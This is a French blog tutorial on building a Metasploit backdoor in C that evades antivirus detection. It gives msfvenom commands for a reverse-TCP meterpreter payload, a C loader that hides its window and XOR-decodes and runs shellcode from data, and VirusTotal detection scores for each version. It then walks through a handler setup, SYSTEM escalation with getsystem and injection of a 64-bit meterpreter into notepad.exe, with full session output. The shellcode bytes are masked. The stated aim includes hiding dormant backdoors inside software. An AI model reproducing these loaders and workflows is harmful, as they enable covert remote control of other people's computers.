Table des matières
Metasploit: Générer une "backdoor" indétectable en C
Il s'agit d'un blog post consacré à la création de “backdoor” pour injecter le service “meterpreter” sur des ordinateurs de victimes (consentantes).
Nous avons vu que les services antivirus détectaient nos “créations” comme “malware” , malgré les encodages que nous avions fait avec la commande “msfvenom
”.
Nous allons voir maintenant comment créer une “backdoor” indétectable, ou presque
Pour cela , il va falloir faire un tout petit peu de programmation en C …
~~READMORE~~
Pré-requis
Au delà des outils “metasploit
” (voir ici) , il faut installer “wine” ainsi que “gcc” pour “wine”.
Désolé: L'installation de “wine ” et de “gcc ” pour “wine ” sort du cadre de cet article, et ne sera donc pas expliqué ici. |
Nous utilisons les variables suivantes (a adapter selon vos besoin):
$ export PAYLOAD_X86=windows/meterpreter/reverse_tcp $ export LHOST=192.168.6.66 $ export LPORT=6666
“LHOST
” est l'IP de l'“attaquant”, la mienne en fait.
Nous allons travailler uniquement avec l'architecture “x86”, |
Un "PAYLOAD" dans du C
Simple
La commande “msfvenom
” peut aussi nous livrer un “PAYLOAD” (préalablement encodé ou non), dans un format “raw” mais disposé dans un tableau en langage de programmation “C”.
Exemple:
$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -f c No platform was selected, choosing Msf::Module::Platform::Windows from the payload No Arch selected, selecting Arch: x86 from the payload No encoder or badchars specified, outputting raw payload Payload size: 341 bytes Final size of c file: 1457 bytes unsigned char buf[] = "\xfc\xe8... ... ... ... ...\xff\xd5"; $
( Ici et ailleurs, je masque volontairement le “PAYLOAD”. )
Après quelques recherches et tests, j'ai trouvé un bout de code élémentaire que j'ai joyeusement copié/collé, en y insérant mes données de “PAYLOAD”.
Le fichier a été nommé simplement “backdoor.c
” :
#include <stdio.h> #include <windows.h> unsigned char buf[] = "\xfc\xe8\... ... ... ... ...\xff\xd5"; void main(void) { ShowWindow(GetConsoleWindow(),SW_HIDE); ((void (*)())buf)(); }
On compile ce programme pour générer “backdoor.exe” comme ceci:
$ wine gcc.exe -o backdoor.exe backdoor.c -lwsock32
On peut vérifier sur la “victime” (consentante) que la “backdoor” fonctionne parfaitement en se connectant a “msfconsole
”.
En vieux loup du C, je comprend mal le concept des “datas” qu'on peut éxecuter… Je ne croyais pas que c'était encore possible de nos jours… |
Un petit passage sur le site “https://www.virustotal.com” me retourne un score catastrophique de 29/67
.
Ainsi faites, notre “backdoor.exe” n'a aucune chance contre les antivirus.
Encodons
Cette fois, on va générer un “PAYLOAD” encodé:
$ msfvenom -p "$PAYLOAD_X86" LHOST="$LHOST" LPORT="$LPORT" -e x86/shikata_ga_nai -b 'x00xff' -i 10 -f c > buf.c
Nous insérons ce nouveau “buf
” dans notre source “backdoor.c
”, nous compilons et nous testons.
Ca marche toujours et “https://www.virustotal.com” donne cette fois un score de 16/65
Peut mieux faire.
Avec notre décodeur
J'ai fait un petit programme qui applique un petit “xor 0x13
” sur chacun des octets du “PAYLOAD
”.
Le décodeur de notre “backdoor” va juste appliquer un “xor 0x13
” sur chacun des octets du “PAYLOAD”, et puis l'exécuter…
Mais en faisant comme ça, je n'obtiens qu'un passable score de 16/65
sur “https://www.virustotal.com”.
La raison est simple: le fonctionnement du programme est trop élémentaire.
Donc, j'ai un peu compliqué son fonctionnement:
#include <stdio.h> #include <windows.h> unsigned char buf[] = "\xa9\x82... ... ... ... ...\x82\x44"; void *fuck(void) { // On surdimensionne un tableau sur la pile... // Il n'y a que le "pivot" qui contient le PAYLOAD a exécuter. // Update: Ajout d'un "pad" pour aligner les buffers sur 0x10 octets... const int n = 12; unsigned char *__buf[n]; unsigned char __buffer__[((sizeof(buf)+16)*n)]; unsigned int pad = (unsigned int)(16-((unsigned int)__buffer__%16)); int pivot = n/2; for( int k=0; k<n; k++ ) { __buf[k] = __buffer__+pad+((sizeof(buf)+16)*k); } for( int i=0; i<sizeof(buf)-1; i++ ) { for( int k=0; k<n; k++ ) { if ( k<pivot || k>pivot ) { __buf[k][i] = (unsigned char)~buf[i]; // <--- Bidon } else { __buf[k][i] = (unsigned char)(buf[i]^0x13); // <--- Decodage du PAYLOAD if ((i+1)>=sizeof(buf)-1) ((void (*)())__buf[k])(); // <--- Start PAYLOAD } } } return(__buf[pivot+1]); // <--- Bidon } void main(void) { ShowWindow(GetConsoleWindow(),SW_HIDE); void *fake = fuck(); ((void (*)())fake)(); // <--- Jamais exécuté }
La “backdoor” fonctionne et sur “https://www.virustotal.com”, j'obtiens la note de 13/65
.
Mais plus important, cette “backdoor” est maintenant indétectable par l'antivirus “Kaspersky”.
Bilan de tentatives d'évasions
(Oui, on parle d'“évasion” lorsqu'on tente de libérer un logiciel de l'emprise des antivirus …)
Faisons un petit point pour comprendre où l'on est arrivé:
"Backdoor" dormantes
Le but principal, c'est de pouvoir camoufler des “backdoor” dans les logiciels.
Lorsqu'on soumet des “backdoor” cachées et dormantes a “https://www.virustotal.com”, aucun antivirus ne lève d'avertissement: on est 100% indétectable.
C'est le cas avec la méthode de camouflage présenté plus haut.
Toutefois, lorsqu'on active la “backdoor”, on commence a devenir détectable, et ceci à 3 niveaux:
Décodage du "PAYLOAD"
Au moment du décodage de la “PAYLOAD”, et avant son exécution, on expose les données à l'analyse des antivirus.
A ce moment là, une “backdoor” peut être détectable.
Pour que ce ne soit pas le cas, il faudrait créé soit même son “PAYLOAD” : je n'en suis pas encore à ce stade
Execution du "PAYLOAD"
Le simple fait d'exécuter du code présent dans les données du programme est suspect. Je crois même que certains systèmes ne permettent pas ce genre de chose, et lève une exception.
En tout cas, c'est normal qu'un antivirus trouve un tel comportement suspect: aucun logiciel ne devrait faire ça.
Communication du "PAYLOAD"
Et enfin, lorsque le PAYLOAD est en fonctionnement, il tente immédiatement d'établir une communication par le réseau IP… et ça aussi c'est suspect.
Conclusion
Créer une “backdoor” indétectable aux antivirus est possible, dans la mesure où son analyse reste simple, comme la recherche de signatures par exemple.
Mais dés qu'on étudie plus finement son comportement, comme par exemple l'exécution de code dans les données, ou l'ouverture de connexion vers l'extérieure, alors la “backdoor” peut être détectée.
"Meterpreter" de "x86" à "x64"
Nous l'avons dit en préambule, il n'a pas été possible de trouver une solution viable pour un “PAYLOAD” en 64 bit.
En conséquence, on peut injecter “meterpreter
” qu'en version 32 bit, ce qui limite sa puissance.
Toutefois, il existe des solutions…
Repartons des bases
Création de la backdoor
On reprend l'exemple vu précédement en générant une “backdoor” avec un encodage “xor 0x13
”, et un peu de magie dans l'écriture du programme.
Nous envoyons notre “backdoor.exe” sur l'ordinateur de la “victime”.
"msfconsole" en attente
Du côté de notre poste d'“attaquant”, on prépare la mise en attente de notre exploit.
$ msfconsole msf > use exploit/multi/handler msf exploit(multi/handler) > set PAYLOAD windows/meterpreter/reverse_tcp msf exploit(multi/handler) > set LHOST 192.168.6.66 msf exploit(multi/handler) > set LPORT 6666 msf exploit(multi/handler) >
msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 0. msf exploit(multi/handler) > [*] Started reverse TCP handler on 192.168.6.66:6666
Nous sommes prêt.
Prise de contrôle
Sur l'ordinateur de la “victime”, on se débrouille pour démarrer “backdoor.exe” avec les droits Administrateurs :
C:\> backdoor.exe C:\>
Et aussitôt, du côté de la console de l'“attaquant”, on récupère une session après injection de “meterpreter
”.
msf exploit(multi/handler) > [*] Sending stage (179779 bytes) to 192.168.6.31 [*] Meterpreter session 1 opened (192.168.6.66:6666 -> 192.168.6.31:63144) at 2017-12-29 02:44:27 +0200 msf exploit(multi/handler) >
(la victime a l'IP “192.168.6.31” ici)
On entre dans la “session” embarquant “meterpreter”:
msf exploit(multi/handler) > sessions 1 [*] Starting interaction with 1... meterpreter >
Et on récupère les privilèges “Administrateurs”:
meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: AUTORITE NT\Système meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter >
Voila. Nous sommes bien dans la version “x86” de “meterpreter”.
Migration avec "archmigrate"
C'est la méthode la plus simple: il suffit d'utiliser le script “post/windows/manage/archmigrate
”.
Démonstration:
Nous venons de démarrer notre “backdoor.exe” et nous voila sous “meterpreter” “x86” :
meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WORKGROUP Logged On Users : 2 Meterpreter : x86/windows meterpreter >
Et hop, on migre sous “x64” avec un nouveau “meterpreter” :
meterpreter > run post/windows/manage/archmigrate [*] You're not running as SYSTEM. Moving on... [*] The meterpreter is not the same architecture as the OS! Upgrading! [*] Starting new x64 process C:\windows\sysnative\svchost.exe [+] Got pid 204 [*] Migrating.. [+] Success! meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WORKGROUP Logged On Users : 2 Meterpreter : x64/windows meterpreter >
Voila: On est dans la version “64 bit” de “meterpreter”
Reflective Injection x64
Cette méthode est largement plus complexe, mais elle nous permet d'explorer une manière d'injecter un “PAYLOAD” depuis une session en cours…
Nouvelle attente
Notre “backdoor.exe” a été démarré et nous nous retrouvons dans notre “session meterpreter” sur la “victime”.
On va suspendre cette “session” pour préparer notre injection de “meterpreter” “x64”.
meterpreter > background [*] Backgrounding session 1... msf exploit(multi/handler) >
On prépare une nouvelle attente pour recevoir “meterpreter” “x64” :
msf exploit(multi/handler) > set PAYLOAD windows/x64/meterpreter/reverse_tcp PAYLOAD => windows/x64/meterpreter/reverse_tcp msf exploit(multi/handler) >
On vérifie nos options:
msf exploit(multi/handler) > show options Module options (exploit/multi/handler): Name Current Setting Required Description ---- --------------- -------- ----------- Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.6.66 yes The listen address LPORT 6666 yes The listen port Exploit target: Id Name -- ---- 0 Wildcard Target msf exploit(multi/handler) >
Et on démarre la mise en attente:
msf exploit(multi/handler) > exploit -j [*] Exploit running as background job 1. [*] Started reverse TCP handler on 192.168.6.66:6666 msf exploit(multi/handler) >
"payload_inject"
On change d'exploit pour “windows/local/payload_inject
” :
msf exploit(multi/handler) > use windows/local/payload_inject msf exploit(windows/local/payload_inject) >
Et on le configure à la manière du précédent exploit, avec les informations de connexion de l'“attaquant” (moi).
… avec le “PAYLOAD” de “meterpreter” “x64” :
msf exploit(windows/local/payload_inject) > set PAYLOAD windows/x64/meterpreter/reverse_tcp msf exploit(windows/local/payload_inject) > set LHOST 192.168.6.66 msf exploit(windows/local/payload_inject) > set LPORT 6666
Sans oublier le numéro de la session qu'on a mis en veille (“background”) :
msf exploit(windows/local/payload_inject) > set SESSION 1 SESSION => 1 msf exploit(windows/local/payload_inject) >
Un dernier coup d'oeil sur les options:
msf exploit(windows/local/payload_inject) > show options Module options (exploit/windows/local/payload_inject): Name Current Setting Required Description ---- --------------- -------- ----------- NEWPROCESS false no New notepad.exe to inject to PID no Process Identifier to inject of process to inject payload. SESSION 1 yes The session to run this module on. Payload options (windows/x64/meterpreter/reverse_tcp): Name Current Setting Required Description ---- --------------- -------- ----------- EXITFUNC process yes Exit technique (Accepted: '', seh, thread, process, none) LHOST 192.168.6.66 yes The listen address LPORT 6666 yes The listen port Exploit target: Id Name -- ---- 0 Windows msf exploit(windows/local/payload_inject) >
injection de l'exploit
On est prêt… On démarre l'exploit:
msf exploit(windows/local/payload_inject) > exploit [-] Handler failed to bind to 192.168.6.66:6666:- - [-] Handler failed to bind to 0.0.0.0:6666:- - [*] Running module against HACKME0001 [-] PID does not actually exist. [*] Launching notepad.exe... [*] Preparing 'windows/x64/meterpreter/reverse_tcp' for PID 4080 [*] Sending stage (206403 bytes) to 192.168.6.31 [*] Meterpreter session 2 opened (192.168.6.66:6666 -> 192.168.6.31:63191) at 2017-12-29 04:18:54 +0200 [*] Exploit completed, but no session was created. msf exploit(windows/local/payload_inject) >
Donc, l'exploit a été mis en oeuvre depuis la “session 1” , en démarrant et en injectant le “PAYLOAD” dans “notepad.exe”, et enfin, on a récupéré la nouvelle communication de “meterpreter” via la “session 2”.
On s'y introduit de ce pas:
msf exploit(windows/local/payload_inject) > sessions 2 [*] Starting interaction with 2... meterpreter > getsystem ...got system via technique 1 (Named Pipe Impersonation (In Memory/Admin)). meterpreter > getuid Server username: AUTORITE NT\Système meterpreter > sysinfo Computer : HACKME0001 OS : Windows 7 (Build 7601, Service Pack 1). Architecture : x64 System Language : fr_FR Domain : WINDOWS Logged On Users : 4 Meterpreter : x64/windows meterpreter >
Voila: On est enfin dans la version “64 bit” de “meterpreter”
Pour finir, on peut libérer notre précédent “meterpreter x86”.
D'abord, on suspend notre “session” en cours.
meterpreter > background [*] Backgrounding session 2... msf exploit(windows/local/payload_inject) >
Un petit coup d'oeil sur toutes les sessions:
msf exploit(windows/local/payload_inject) > sessions Active sessions =============== Id Name Type Information Connection -- ---- ---- ----------- ---------- 1 meterpreter x86/windows AUTORITE NT\Syst_me @ HACKME0001 192.168.6.66:6666 -> 192.168.6.31:63144 2 meterpreter x64/windows AUTORITE NT\Syst_me @ HACKME0001 192.168.6.66:6666 -> 192.168.6.31:63191 msf exploit(windows/local/payload_inject) >
On retourne dans la “session 1”, qu'on ferme:
msf exploit(windows/local/payload_inject) > sessions 1 [*] Starting interaction with 1... meterpreter > exit [*] Shutting down Meterpreter... [*] 192.168.6.31 - Meterpreter session 1 closed. Reason: User exit msf exploit(windows/local/payload_inject) >
On retourne dans la “session 2”, et on peut poursuivre notre exploration…
msf exploit(windows/local/payload_inject) > sessions 2 [*] Starting interaction with 2... meterpreter >
A suivre…